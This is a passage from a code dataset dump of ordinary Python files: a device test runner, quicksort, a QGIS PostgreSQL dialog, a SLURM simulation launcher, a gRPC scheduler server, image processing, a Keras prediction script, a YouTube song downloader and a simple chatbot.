= '/test/%s/%s' % (testset, test['name'])\n\n args = []\n if not self.env['info']['no_memstat']:\n args = ['--mem-stats']\n\n if self.env['info']['coverage']:\n args.append('--start-debug-server')\n port = testrunner_utils.read_port_from_url(self.env['info']['coverage'])\n args.append('--debug-port %s' % port)\n\n command = {\n 'iotjs': 'iotjs %s %s\\n' % (' '.join(args), testfile),\n 'jerryscript': 'jerry %s %s\\n' % (testfile, ' '.join(args))\n }\n\n # Run the test on the device.\n self.channel.putc(command[self.app])\n self.channel.readline()\n\n if self.env['info']['coverage'] and self.app == 'iotjs':\n # Start the client script on a different thread for coverage.\n client_thread = Thread(target=testrunner_utils.run_coverage_script,\n kwargs={'env': self.env})\n client_thread.daemon = True\n client_thread.start()\n\n message, output = self.channel.read_until('arm_dataabort', 'TASH>>')\n\n if message == 'arm_dataabort':\n output += self.channel.readline().replace('\\r\\n', '')\n\n stdout, memstat, exitcode = testrunner_utils.process_output(output)\n\n self.logout()\n\n return {\n 'output': stdout.rstrip('\\r\\n').replace('\\r\\n', '
'),\n 'memstat': memstat,\n 'exitcode': exitcode\n }\n","sub_path":"jstest/testrunner/devices/artik053.py","file_name":"artik053.py","file_ext":"py","file_size_in_byte":3583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"452574969","text":"def partition(arr, low, high):\n pivot = arr[high]\n i = low -1\n for j in range(low, high):\n if arr[j] <= pivot:\n i +=1\n (arr[i], arr[j]) = (arr[j], arr[i])\n (arr[i+1], arr[high]) =(arr[high], arr[i+1]) \n return i + 1\n\ndef quickSort(array, low, high):\n if low < high:\n pi = partition(array, low, high)\n quickSort(array, low, pi - 1)\n quickSort(array, pi + 1, high)\nif __name__ == '__main__':\n data = [8, 7, 2, 1, 0, 9, 6]\n print(\"Unsorted: \")\n print(data)\n quickSort(data, 0, len(data) - 1)\n print('Sorted:')\n print(data)","sub_path":"Data-Structure-and-Algorithms/Python/Sorting/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"372223818","text":"import os\nfrom qgis.PyQt import uic\nfrom qgis.PyQt.QtWidgets import QDialog\n\nfrom qgis.PyQt.QtCore import QSettings,Qt\n#from qgis.PyQt.QtSql import QSqlDatabase,QSqlTableModel,QSqlQuery\n\nfrom qgis.PyQt.QtSql import QSqlDatabase,QSqlQuery\nimport psycopg2\n\nfrom qgis.PyQt.QtCore import pyqtSignal\n\n#for cancellable task(qgis specific)\nfrom PyQt5.QtWidgets import QProgressDialog,QLabel #QProgressBar,QPushButton,\nfrom qgis.utils import iface\nfrom qgis.PyQt.QtCore import pyqtSignal,QObject,QThread\n\nfrom qgis.core import QgsApplication\n\nfrom . import sql_tasks\n\n\n\nuiPath=os.path.join(os.path.dirname(__file__), 'database_dialog.ui')\nFORM_CLASS, _ = uic.loadUiType(uiPath)\n\n\ndef db_to_con(db):\n return psycopg2.connect(host=db.hostName(),dbname=db.databaseName(),user=db.userName(),password=db.password())\n\n\nclass database_dialog(QDialog,FORM_CLASS):\n \n reconnected = pyqtSignal()\n data_changed = pyqtSignal()\n \n def __init__(self,parent=None):\n super(QDialog,self).__init__(parent)\n self.setupUi(self)\n #self.setModal(True)#block other stuff\n self.connections_box.currentIndexChanged.connect(self.get_connection_info)\n self.connect_button.clicked.connect(self.connect)\n self.ok_button.clicked.connect(self.accept)\n self.set_connected(False)\n self.db = QSqlDatabase.addDatabase('QPSQL')\n self.con=None\n self.cur=None\n \n self.connected=False\n self.task=None#QgsTask task. only want to run 1 task at a time.\n\n self.progress=QProgressDialog(parent=self.parent())#set parent to dockwidget\n self.progress.setWindowModality(Qt.WindowModal)#make modal to prevent multiple tasks at once\n self.progress.canceled.connect(self.task_canceled)\n self.task_canceled()\n self.refresh_connections()\n self.refresh_button.clicked.connect(self.refresh_connections)\n\n\n def refresh_connections(self):\n self.connections_box.clear() \n self.connections_box.addItems(get_postgres_connections())\n \n\n ##returns psycopg2 connection\n def psycopg2_con(self):\n return db_to_con(self.db)\n\n \n def get_connection_info(self,i):\n settings = QSettings()\n settings.beginGroup( '/PostgreSQL/connections/' )\n settings.beginGroup(self.connections_box.itemText(i))\n self.host.setText(str(settings.value('host')))\n self.database.setText(str(settings.value('database')))\n self.user.setText(str(settings.value('username')))\n self.password.setText(str(settings.value('password')))\n\n\n def set_connected(self,connected):\n if connected:\n self.status.setText('Connected')\n self.connected=True\n else:\n self.status.setText('Not Connected')\n self.connected=False\n \n def connect(self):\n #need this for qsqlTableModel etc.\n self.db.setHostName(self.host.text())\n self.db.setDatabaseName(self.database.text())\n self.db.setUserName(self.user.text())\n self.db.setPassword(self.password.text())\n\n if self.con:\n self.con.close()\n #but psycopg2 better than QSqlQuery\n\n\n try:\n self.con=psycopg2.connect(host=self.host.text(),dbname=self.database.text(),user=self.user.text(),password=self.password.text())\n self.db.open()\n\n self.set_connected(True)\n self.cur=self.con.cursor(cursor_factory=psycopg2.extras.DictCursor)\n self.reconnected.emit()\n \n except Exception as e:\n self.cur=None\n self.set_connected(False)\n iface.messageBar().pushMessage('fitting tool: failed to connect: '+str(e))\n \n#script=filename to give in error message when failed to run script\n def sql(self,q,args={},ret=False,script=None):\n try:\n with self.con:\n if args:\n self.cur.execute(q,args)\n else:\n self.cur.execute(q)#with makes con commit here\n if ret:\n return self.cur.fetchall()\n\n\n except psycopg2.ProgrammingError as e:\n #exq=str(cur.query)#cur.query() gives type error because cur.query is a (bytes)string.\n #self.con.rollback()\n if script:\n raise ValueError('%s \\nrunning: %s \\n with args: %s'%(str(e),script,str(args)))\n\n else:\n raise ValueError('%s\\ngiven query: %s\\n args:%s,\\nattempted query: %s '%(str(e),str(q),str(args),str(self.cur.query)))\n \n\n def cancel(self):\n self.con.cancel()\n\n \n def sql_script(self,script,args={}):\n s=script\n if os.path.dirname(script)=='':\n s=os.path.join(os.path.dirname(__file__),script)\n \n with open(s,'r') as f:\n self.sql(f.read(),args,script=s)\n\n\n def query_to_csv(self,query,to,args=None,force_quote=None):\n with open(to,'w') as f:\n #)##SQL_for_file_output = \"COPY ({0}) TO STDOUT WITH CSV HEADER\".format(s)\n if force_quote:\n self.cur.copy_expert(\"COPY (%s) TO STDOUT WITH (FORMAT CSV,HEADER,FORCE_QUOTE%s)\"%(query,force_quote),f)\n else:\n self.cur.copy_expert(\"COPY (%s) TO STDOUT WITH (FORMAT CSV,HEADER)\"%(query),f)\n \n \n def disconnect(self):\n self.db.close()\n if self.con:\n self.con.close()\n\n\n# use psycopg2 to run query with args. show progress dialog and cancel button.\n#want modal progressbar\n\n def cancelable_query(self,q,args,text='running task',sucess_message=''): \n if self.task:\n iface.messageBar().pushMessage('fitting tool: already running task')\n \n else:\n self.progress.setLabel(QLabel(text=text))\n self.task = sql_tasks.cancelable_sql(self.con,q,args,sucess_message=sucess_message)\n # self.task.setDescription(text)\n self.task.taskCompleted.connect(self.task_canceled)\n self.task.taskTerminated.connect(self.task_canceled)\n\n self.progress.canceled.connect(self.task.cancel)\n \n self.progress.show()\n QgsApplication.taskManager().addTask(self.task)#priority 0, happens after other tasks. displaying message/widget is task?\n #task.run()#happens imediatly. no progressbar/dialog displayed\n\n\n# use psycopg2 to run query with args. show progress dialog and cancel button.\n#want modal progressbar\n\n def cancelable_queries(self,queries,args,text='running task',sucess_message=''): \n if self.task:\n iface.messageBar().pushMessage('fitting tool: already running task')\n \n else:\n self.progress.setLabel(QLabel(text=text))\n self.progress.setMaximum(100)\n\n self.task = sql_tasks.cancelable_queries(self.con,queries,args,sucess_message=sucess_message)\n self.task.progressChanged.connect(self.progress.setValue)\n # self.task.setDescription(text)\n self.task.taskCompleted.connect(self.task_canceled)\n self.task.taskTerminated.connect(self.task_canceled)\n\n self.progress.canceled.connect(self.task.cancel)\n \n self.progress.show()\n QgsApplication.taskManager().addTask(self.task)#priority 0, happens after other tasks. displaying message/widget is task?\n #task.run()#happens imediatly. no progressbar/dialog displayed\n\n\n \n def task_canceled(self):\n self.task=None\n self.progress.reset()\n self.progress.hide()\n self.progress.setMinimum(0)#qprogressbar will show busy indicator when min and max set to 0\n self.progress.setMaximum(0)\n\n\n\ndef get_postgres_connections():\n settings = QSettings()\n settings.beginGroup( '/PostgreSQL/connections/' )\n connections = settings.childGroups() \n settings.endGroup()\n return connections\n","sub_path":"database_dialog/database_dialog.py","file_name":"database_dialog.py","file_ext":"py","file_size_in_byte":7964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"3969843","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport random\nimport time\nfrom random import seed, randint\nimport argparse\nimport platform\nfrom datetime import datetime\nimport imp\nimport numpy as np\nimport fileinput\n# from run_parameter import *\nparser = argparse.ArgumentParser(\n description=\"This is a python3 script to\\\n do see the difference variable make \\\n run simulation\")\n\nparser.add_argument(\"template\", help=\"the name of template file\")\nparser.add_argument(\"-d\", \"--debug\", action=\"store_true\", default=False)\nparser.add_argument(\"--rerun\",\n type=int, default=1)\nparser.add_argument(\"-m\", \"--mode\", type=int, default=1)\nargs = parser.parse_args()\nprotein_name = args.template.strip('/')\n\nif(args.debug):\n do = print\n cd = print\nelse:\n do = os.system\n cd = os.chdir\n\nrun_slurm = '''\\\n#!/bin/bash\n#SBATCH --job-name=CTBP_WL\n#SBATCH --account=ctbp-common\n#SBATCH --partition=ctbp-common\n#SBATCH --ntasks=1\n#SBATCH --threads-per-core=1\n#SBATCH --mem-per-cpu=1G\n#SBATCH --time=1-00:00:00\n#SBATCH --mail-user=luwei0917@gmail.com\n#SBATCH --mail-type=FAIL\necho \"My job ran on:\"\necho $SLURM_NODELIST\nsrun /home/wl45/build/awsem_lipid_fluctuations/src/lmp_serial -in 2xov_{}.in\n'''\n\ndef change(fileName, from_str, to_str):\n with fileinput.FileInput(fileName, inplace=True, backup='.bak') as file:\n for line in file:\n tmp = line\n tmp = tmp.replace(from_str, str(to_str))\n print(tmp, end='')\n\nfileName = \"2xov_multi.in\"\nif args.rerun == 1:\n start_from = \"read_restart restart.20000000\"\n# rg_list = [0, 1, 5, 10]\n# force_list = [2.0]\n# memb_k_list = [0, 1, 5, 10]\n\n# rg_list = [0, 1, 2, 5]\n# force_list = [0.0, 1.0, 2.0, 3.0]\n# memb_k_list = [0, 1, 2, 5]\n\n# rg_list = [0, 1, 2, 5]\n# force_list = [0.0, 3.0]\n# memb_k_list = [0, 1, 2, 5]\n\n# rg_list = [0, 0.1, 1, 5, 10]\n# force_list = [0.0, 3.0]\n# memb_k_list = [0, 0.1, 1, 5, 10]\n\n# rg_list = [0, 0.1, 1]\n# force_list = [\"ramp\"]\n# memb_k_list = [0, 0.1, 1]\n\n# rg_list = [0, 0.1, 0.5, 1, 2]\n# rg_list = [3, 4]\n# force_list = [\"ramp\"]\n# memb_k_list = [0, 0.1, 1, 2, 5, 10]\nif args.mode == 4:\n i = args.rerun\n do(\"mkdir simulation\")\n cd(\"simulation\")\n # qbias_list = [i*0.02 for i in range(50)]\n for ii in range(50):\n qbias = ii*0.02\n folder_name = \"{}\".format(ii)\n do(\"cp -r ../2xov \" + folder_name)\n cd(folder_name)\n # fixFile = \"fix_backbone_coeff_go.data\"\n fixFile = \"fix_qbias_equil.data\"\n with fileinput.FileInput(fixFile, inplace=True, backup='.bak') as file:\n for line in file:\n print(line.replace(\"QBIAS\", str(qbias)), end='')\n\n do(\"cp 2xov_multi.in 2xov_{}.in\".format(i))\n with fileinput.FileInput(\"2xov_{}.in\".format(i), inplace=True, backup='.bak') as file:\n for line in file:\n print(line.replace(\"START_FROM\", start_from), end='')\n do( # replace SIMULATION_STEPS with specific steps\n \"sed -i.bak 's/NUMBER/'\" +\n str(int(i)) +\n \"'/g' 2xov_{}.in\".format(i))\n do(\"mkdir -p {}\".format(i))\n do( # replace RANDOM with a radnom number\n \"sed -i.bak 's/RANDOM/'\" +\n str(randint(1, 10**6)) +\n \"'/g' *.in\")\n with open(\"run_{}.slurm\".format(i), \"w\") as r:\n r.write(run_slurm.format(i))\n do(\"sbatch \" + \"run_{}.slurm\".format(i))\n cd(\"..\")\n\nif args.mode == 1:\n distance_list = np.linspace(0, 100, 51)\nif args.mode == 2:\n distance_list = range(100)\nif args.mode == 3:\n distance_list = np.linspace(30, 130, 101)\n # distance_list = np.linspace(10, 180, 171)\n # distance_list = np.linspace(0, 1, 1)\n\nif args.mode <= 3:\n i = args.rerun\n # do(\"mkdir simulation\")\n cd(\"simulation\")\n # distance_list = [\"test\"]\n for dis in distance_list:\n folder_name = \"dis_{}\".format(dis)\n cd(folder_name)\n # fixFile = \"fix_backbone_coeff_go.data\"\n do(\"cp 2xov_multi.in 2xov_{}.in\".format(i))\n change(\"2xov_{}.in\".format(i), \"read_restart restart.extended\", start_from)\n change(\"2xov_{}.in\".format(i), \"reset_timestep\t0\", \"\")\n\n do( # replace SIMULATION_STEPS with specific steps\n \"sed -i.bak 's/NUMBER/'\" +\n str(int(i)) +\n \"'/g' 2xov_{}.in\".format(i))\n do(\"mkdir -p {}\".format(i))\n do( # replace RANDOM with a radnom number\n \"sed -i.bak 's/RANDOM/'\" +\n str(randint(1, 10**6)) +\n \"'/g' *.in\")\n with open(\"run_{}.slurm\".format(i), \"w\") as r:\n r.write(run_slurm.format(i))\n do(\"sbatch \" + \"run_{}.slurm\".format(i))\n cd(\"..\")\n","sub_path":"freeEnergy_run_continue.py","file_name":"freeEnergy_run_continue.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"598546320","text":"from concurrent import futures\nimport time\n\nimport grpc\nimport logging\nimport os\nimport sys\nimport socket\nimport traceback\nsys.path.append(os.path.join(os.path.dirname(__file__), '../rpc_stubs'))\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(__file__))))\n\nimport trainer_to_scheduler_pb2 as t2s_pb2 \nimport trainer_to_scheduler_pb2_grpc as t2s_pb2_grpc\nimport common_pb2\n\n#LOG_FORMAT = '{name}:{levelname} [{asctime}] {message}'\nLOG_FORMAT = '{name}:{levelname} [{asctime}.{msecs}] {message}'\nDATE_FORMAT = '%Y-%m-%d %H:%M:%S'\n\n\nclass MasterRpcServer(t2s_pb2_grpc.TrainerToSchedulerServicer):\n def __init__(self, logger, callbacks):\n self._logger = logger\n self._callbacks = callbacks\n\n def ReportStable(self, request, context):\n try:\n report_stable_callback = self._callbacks[\"ReportStable\"]\n report_stable_callback(request.job_id)\n self._logger.info(\n \tf\"Scheduler : job {request.job_id} ready for fast forward\")\n return common_pb2.Empty()\n except Exception as e:\n self._logger.error('Trainer: failed to request for fast forward, {0}'.format(e))\n #return t2s_pb2.ReportStableResponse(success=False, error_message=e)\n return common_pb2.Empty()\n\n def ReportReady(self, request, context):\n try:\n report_ready_callback = self._callbacks[\"ReportReady\"]\n report_ready_callback(request.trainer_id)\n self._logger.info(\n f\"Scheduler : trainer {request.trainer_id} ready for training\")\n return common_pb2.Empty()\n except Exception as e:\n self._logger.error('Trainer: failed to request for report ready, {0}'.format(e))\n return common_pb2.Empty()\n\n\n\ndef serve(port, callbacks):\n logger = logging.getLogger(__name__)\n logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setFormatter(logging.Formatter(LOG_FORMAT, datefmt=DATE_FORMAT,\n style='{'))\n logger.addHandler(ch)\n server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n t2s_pb2_grpc.add_TrainerToSchedulerServicer_to_server(\n MasterRpcServer(logger, callbacks), server)\n server.add_insecure_port('[::]:%d' % (port))\n server.start()\n logger.info('Starting scheduler server at port {0}'.format(port))\n server.wait_for_termination()\n\nif __name__ == '__main__':\n serve(6998)\n","sub_path":"ElasticFlow/scheduler/runtime/rpc/scheduler_server.py","file_name":"scheduler_server.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"242358465","text":"import sys\nimport cv2 as cv\nimport numpy as np\n\nHORIZONTAL_STRUC_DIV = 15\nVERTICAL_STRUC_DIV = 15\n\n'''\nBased on code from:\nhttps://docs.opencv.org/3.2.0/d1/dee/tutorial_moprh_lines_detection.html\n\nReturns a binarized image where white pixels represent the feather.\n'''\ndef feather_pix(img_src):\n img_gs = cv.cvtColor(img_src, cv.COLOR_BGR2GRAY)\n ret, img_bin = cv.threshold(img_gs, 0, 255, cv.THRESH_BINARY+cv.THRESH_OTSU)\n h, w, ch = img_src.shape\n img_gs = cv.cvtColor(img_src, cv.COLOR_BGR2GRAY)\n hor = img_bin.copy()\n vert = img_bin.copy()\n\n h_size = w / HORIZONTAL_STRUC_DIV\n v_size = h / VERTICAL_STRUC_DIV\n\n h_struct = cv.getStructuringElement(cv.MORPH_RECT, (int(h_size), 1))\n v_struct = cv.getStructuringElement(cv.MORPH_RECT, (1, int(v_size)))\n\n hor = cv.erode(hor, h_struct)\n hor = cv.dilate(hor, h_struct)\n\n vert = cv.erode(vert, v_struct)\n vert = cv.dilate(vert, v_struct)\n\n img_out = np.zeros((h,w),np.uint8)\n for i in range(0, h):\n for j in range(0, w):\n if(hor[i,j] == 255 and vert[i,j] == 255):\n img_out[i,j] = 255\n else:\n img_out[i,j] = 0\n ret, outout = cv.threshold(img_out, 0, 255, cv.THRESH_BINARY+cv.THRESH_OTSU)\n\n outout = cv.medianBlur(outout, 5)\n\n if(img_src[0,0,0]):\n outout = cv.bitwise_not(outout)\n\n\n return outout\n\ndef main(argv):\n img_src = cv.imread(argv[1], cv.IMREAD_COLOR)\n feather_pix(img_src)\n\nif __name__ == \"__main__\":\n if(len(sys.argv) < 1):\n print(\"Usage: python test.py filename\")\n else:\n main(sys.argv)\n","sub_path":"delaunay/remove_grid.py","file_name":"remove_grid.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"431508423","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 4 15:16:02 2020\n\n@author: dingxu\n\"\"\"\n\nfrom tensorflow.keras.models import load_model\n#from keras.models import load_model\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing \n#model = load_model('incl.hdf5')\n#model = load_model('all.hdf5')\n#model = load_model('alldown.hdf5')\n#model = load_model('alldrop.hdf5')\n#model = load_model('accall.hdf5')\nmodel = load_model('all12.hdf5')\n\nmodel.summary()\n\npath = 'E:\\\\shunbianyuan\\\\data\\\\kepler\\\\KIC_name\\\\'\nfile = 'KIC 5439790.txt'\n#file = 'ztf1.txt'\n\ndata = np.loadtxt(path+file)\n#data = np.loadtxt(file)\n\n#data[:,1] = -2.5*np.log10(data[:,1])\n\n#datay = 10**(data[:,1]/(-2.5))\n#datay = (datay-np.min(datay))/(np.max(datay)-np.min(datay))\ndatay = data[:,1]-np.mean(data[:,1])\n\nplt.figure(0)\nplt.plot(data[:,0], datay, '.')\nax = plt.gca()\nax.yaxis.set_ticks_position('left') #将y轴的位置设置在右边\nax.invert_yaxis() #y轴反向\nplt.xlabel('Phase',fontsize=14)\nplt.ylabel('mag',fontsize=14)\n\n\nplt.figure(1)\nhang = data[:,0]*100\ninthang = np.uint(hang)\nplt.plot(inthang, datay, '.')\n\nnpdata = np.vstack((inthang, datay))\n\nlendata = len(npdata.T)\n\ntemp = [0 for i in range(100)]\nfor i in range(lendata):\n index = np.uint(npdata[0,:][i])\n temp[index] = npdata[1,:][i]\n\n \nplt.figure(2)\nlisttemp = temp[0:50]\nresultlist = list(reversed(listtemp))\n#temp = temp[0:50]+resultlist\nplt.plot(temp, '.')\n\nnparraydata = np.array(temp)\nplt.plot(nparraydata, '.' , c = 'blue')\nnparraydata = np.reshape(nparraydata,(1,100))\n\nprenpdata = model.predict(nparraydata)\n\nprint(prenpdata)\n\n\nax = plt.gca()\nax.yaxis.set_ticks_position('left') #将y轴的位置设置在右边\nax.invert_yaxis() #y轴反向\nplt.xlabel('Phrase',fontsize=14)\nplt.ylabel('mag',fontsize=14)","sub_path":"modelload.py","file_name":"modelload.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"227563977","text":"import asyncio\nimport pytest\nfrom polyswarmclient.abstractarbiter import AbstractArbiter\nfrom polyswarmclient.abstractscanner import AbstractScanner\n\nfrom tests.utils.fixtures import mock_client\n\n\nclass Arbiter(AbstractArbiter):\n def __init__(self, client, testing=0, scanner=None, chains=None, artifact_types=None, **kwargs):\n super().__init__(client, testing, scanner, chains, artifact_types, **kwargs)\n\n\n@pytest.mark.asyncio\n@pytest.mark.timeout(3)\nasync def test_stop_calls_scanner_teardown(mock_client):\n teardown = asyncio.Event()\n\n class Scanner(AbstractScanner):\n\n async def teardown(self):\n teardown.set()\n\n Arbiter(mock_client, scanner=Scanner())\n await mock_client.on_stop.run()\n await teardown.wait()\n","sub_path":"tests/test_arbiter.py","file_name":"test_arbiter.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"427057037","text":"\r\nimport pytube\r\nfrom pytube import YouTube\r\nimport moviepy.editor as mp\r\nimport urllib\r\nimport requests\r\nfrom PIL import Image\r\nimport os\r\nfrom model import Song\r\nfrom db import Database\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nimport time\r\n\r\ndb = Database()\r\n\r\n\r\ndef download_song(song_title, artist_name):\r\n\r\n url = f'https://www.youtube.com/results?search_query={song_title} {artist_name} audio'\r\n DRIVER_PATH = 'C:\\PATH_PROGRAMS\\chromedriver.exe'\r\n\r\n\r\n options = Options()\r\n options.add_argument('--headless')\r\n options.add_argument('--disable-gpu')\r\n\r\n driver = webdriver.Chrome(executable_path=DRIVER_PATH, chrome_options=options)\r\n driver.get(url)\r\n time.sleep(5)\r\n video = driver.find_element_by_xpath('//*[@id=\"thumbnail\"]')\r\n link = video.get_attribute(name='href')\r\n\r\n\r\n driver.close()\r\n\r\n yt = YouTube(link)\r\n\r\n yt.streams.filter(progressive=True, file_extension='mp4').order_by('resolution').desc().first().download('./music')\r\n metadata = pytube.extract.metadata(yt.initial_data)\r\n\r\n if yt._metadata:\r\n song = metadata[0]['Song']\r\n artist = metadata[0]['Artist']\r\n else:\r\n if '-' in yt.title:\r\n song = yt.title.split(' (')[0].split(' - ')[1]\r\n else:\r\n song = yt.title\r\n if '-' in yt.author:\r\n artist = yt.author.split(' - ')[0]\r\n else:\r\n artist = yt.author\r\n\r\n song_found = db.find_song_by_artist_name(artist)\r\n if song_found and song_found[0][-1] != 'default.png':\r\n artist_cover_art = song_found[0][-1]\r\n else:\r\n artist_cover_art = f\"{artist.lower().replace(' ', '_')}.png\"\r\n\r\n img = urllib.request.urlretrieve(yt.thumbnail_url, f\"./images/cover_art/{artist_cover_art}\")\r\n\r\n Image.open(img[0]).resize((150, 150)).save(f\"./images/cover_art/{artist_cover_art}\")\r\n\r\n\r\n filename = yt.title\r\n for char in ['.', \"'\", '\"', ',', ':', '$', '#', '@']:\r\n if char in filename:\r\n filename = filename.replace(char, '')\r\n\r\n \r\n\r\n found_song = convert_to_mp3(filename, song, artist, artist_cover_art)\r\n return found_song\r\n\r\n\r\n\r\ndef convert_to_mp3(filename, song, artist, artist_cover_art):\r\n clip = mp.VideoFileClip(f\"./music/{filename}.mp4\")\r\n mp3 = clip.audio.write_audiofile(f\"./music/{song}.mp3\")\r\n clip.audio.close()\r\n clip.close()\r\n\r\n os.remove(f\"./music/{filename}.mp4\")\r\n\r\n\r\n song_found = db.find_song_by_song_title(song)\r\n if not song_found:\r\n s = Song(song, f\"{song}.mp3\")\r\n \r\n db.add_song(s.get_song_title(), s.get_song_file(), s.get_song_duration(), artist, artist_cover_art)\r\n return db.find_song_by_song_title(s.get_song_title())\r\n\r\n\r\n","sub_path":"final_project/download_song.py","file_name":"download_song.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512180011","text":"#!/usr/bin/env python3\n\nimport random, sys, sbDatabase\n\ndef getUserMessage():\n # gets user input & changes it to lowercase\n # strips chars that the bot wouldn't understand\n # returns the formatted string\n illegalChars = \",.!():;-&\"\n illegalWords = [\"too\"]\n inputStr = input(\"> \").lower()\n for char in illegalChars:\n inputStr = inputStr.replace(char, \" \")\n \n for word in illegalWords:\n inputStr = inputStr.replace(\" \"+word+\" \", \" \")\n\n for spaces in range(10, 1, -1):\n inputStr = inputStr.replace(\" \"*spaces, \" \")\n\n return inputStr.strip(\" \")\n\ndef sendMessage(message):\n # displays the given string in response format\n print(\"\\033[92m< \"+message+\"\\033[0m\\n\")\n\ndef sentenceBreakdown(sentence):\n # returns dictionary: subject(str), question(bool), details(table)\n # details contains all words that aren't subjects\n # let's hope the user only says one sentence at a time\n details = []\n greeting = False\n goodbye = False\n subject, target = guessSubjectAndTarget(sentence.split(\" \"))\n\n for word in sentence.split(\" \"):\n if word in sbDatabase.greetings:\n greeting = True\n elif word in sbDatabase.goodbyes:\n goodbye = True\n elif word in sbDatabase.possibleSubjects and subject == \"\":\n subject = word\n else:\n details.append(word)\n \n return {\"subject\":subject, \"target\":target, \"question\":\"?\" in sentence, \"details\":details, \"hi\":greeting, \"bye\":goodbye}\n\ndef guessSubjectAndTarget(details):\n # returns subject, target\n guessPoints = 0 # max 4\n opinion = False\n if len(details) == 3:\n guessPoints += 1\n for word in details:\n word = word.strip(\"?\")\n for nWord in sbDatabase.niceWords:\n if word == nWord or word == nWord[:-1]+\"ed\" or word == nWord+\"ed\" or word == nWord[:-1]+\"ing\" or word == nWord+\"ing\" or word == nWord+\"s\":\n opinion = True\n break \n for bWord in sbDatabase.badWords:\n if word == bWord or word == bWord[:-1]+\"ed\" or word == bWord+\"ed\" or word == bWord[:-1]+\"ing\" or word == bWord+\"ing\" or word == bWord+\"s\":\n opinion = True\n break \n if opinion:\n guessPoints += 1\n break\n \n for word in details:\n if word in sbDatabase.possibleSubjects:\n guessPoints += 1\n if details.index(word) == 2:\n guessPoints += 1\n break # only give 1p\n \n if guessPoints >= 3:\n return details[0], details[len(details)-1]\n else:\n return \"\", \"\"\n\ndef isSentencePositive(details):\n # details list of str\n # returns -1, 0, 1, depending on niceness\n # LET US HOPE the user speaks simple english and doesn't use sarcasm\n responseType = 0 # -1 if user says something bad, 0 if idk, 1 if something nice\n niceBalance = 0 \n negate = False # whether the sentence contains \"wasn't\", \"doesn't\", \"didn't\", etc\n for word in details:\n if \"n't\" in word:\n negate = True\n for nWord in sbDatabase.niceWords:\n if word == nWord or word == nWord[:-1]+\"ed\" or word == nWord+\"ed\" or word == nWord[:-1]+\"ing\" or word == nWord+\"ing\" or word == nWord+\"s\":\n niceBalance += 1\n for bWord in sbDatabase.badWords:\n if word == bWord or word == bWord[:-1]+\"ed\" or word == bWord+\"ed\" or word == bWord[:-1]+\"ing\" or word == bWord+\"ing\" or word == bWord+\"s\":\n niceBalance -= 1\n \n if negate:\n niceBalance = -niceBalance\n if niceBalance == 0:\n responseType = 0\n elif niceBalance > 0:\n responseType = 1\n else:\n responseType = -1\n return responseType\n\ndef buildResponse(subject, target, niceness, question, details, hi, bye, lastTopic, usedTopics):\n # subject str, niceness(-1, 0, 1), details list of str, hi & bye bool\n # returns complete response str\n base = \"...\"\n details = \" \".join(details).replace(\"?\", \"\").split(\" \")\n if target == \"\": # first attempt\n target = subject\n for word in details:\n if word in [\"me\", \"you\", \"him\", \"her\", \"it\", \"us\", \"them\", \"'em\"]:\n target = word\n\n if subject == \"\":\n subject = \"i\"\n if target == \"\": # desperate times call for... that\n target = \"that\" \n\n if hi:\n base = random.choice(sbDatabase.respGreetings)\n elif bye:\n base = random.choice(sbDatabase.respGoodbyes)\n elif lastTopic in details:\n base = random.choice(sbDatabase.aboutTopic)\n elif not question:\n if target == \"you\":\n if niceness == -1:\n base = random.choice(sbDatabase.responseBase_tis[\"sad_me\"])\n elif niceness == 0:\n base = random.choice(sbDatabase.responseBase[\"neutral\"])\n else:\n base = random.choice(sbDatabase.responseBase_tis[\"happy_me\"])\n elif subject == target:\n if target in [\"me\", \"i\"]:\n if niceness == -1:\n base = random.choice(sbDatabase.responseBase_tis[\"sad_usr\"])\n elif niceness == 0:\n base = random.choice(sbDatabase.responseBase[\"neutral\"])\n else:\n base = random.choice(sbDatabase.responseBase_tis[\"happy_usr\"])\n else:\n if niceness == -1:\n base = random.choice(sbDatabase.responseBase_tis[\"sad_sb\"])\n elif niceness == 0:\n base = random.choice(sbDatabase.responseBase[\"neutral\"])\n else:\n base = random.choice(sbDatabase.responseBase_tis[\"happy_sb\"])\n else:\n if niceness == -1:\n base = random.choice(sbDatabase.responseBase[\"sad\"])\n elif niceness == 0:\n base = random.choice(sbDatabase.responseBase[\"neutral\"])\n else:\n base = random.choice(sbDatabase.responseBase[\"happy\"])\n else:\n if target in [\"me\", \"you\"]:\n if niceness == -1:\n base = random.choice(sbDatabase.responseBase[\"answer_no\"])\n elif niceness == 0:\n if \"how\" in details and \"are\" in details:\n base = random.choice(sbDatabase.im_fine)\n else:\n base = random.choice(sbDatabase.responseBase[\"answer_idk\"])\n else:\n base = random.choice(sbDatabase.responseBase[\"answer_yes\"])\n elif (\"what\" in details or \"what's\" in details) and \"name\" in details and (\"your\" in details or \"you\" in details):\n base = \"My name is \"+sbDatabase.name+\".\"\n else:\n base = random.choice(sbDatabase.responseBase[\"answer_idk\"])\n \n if target in 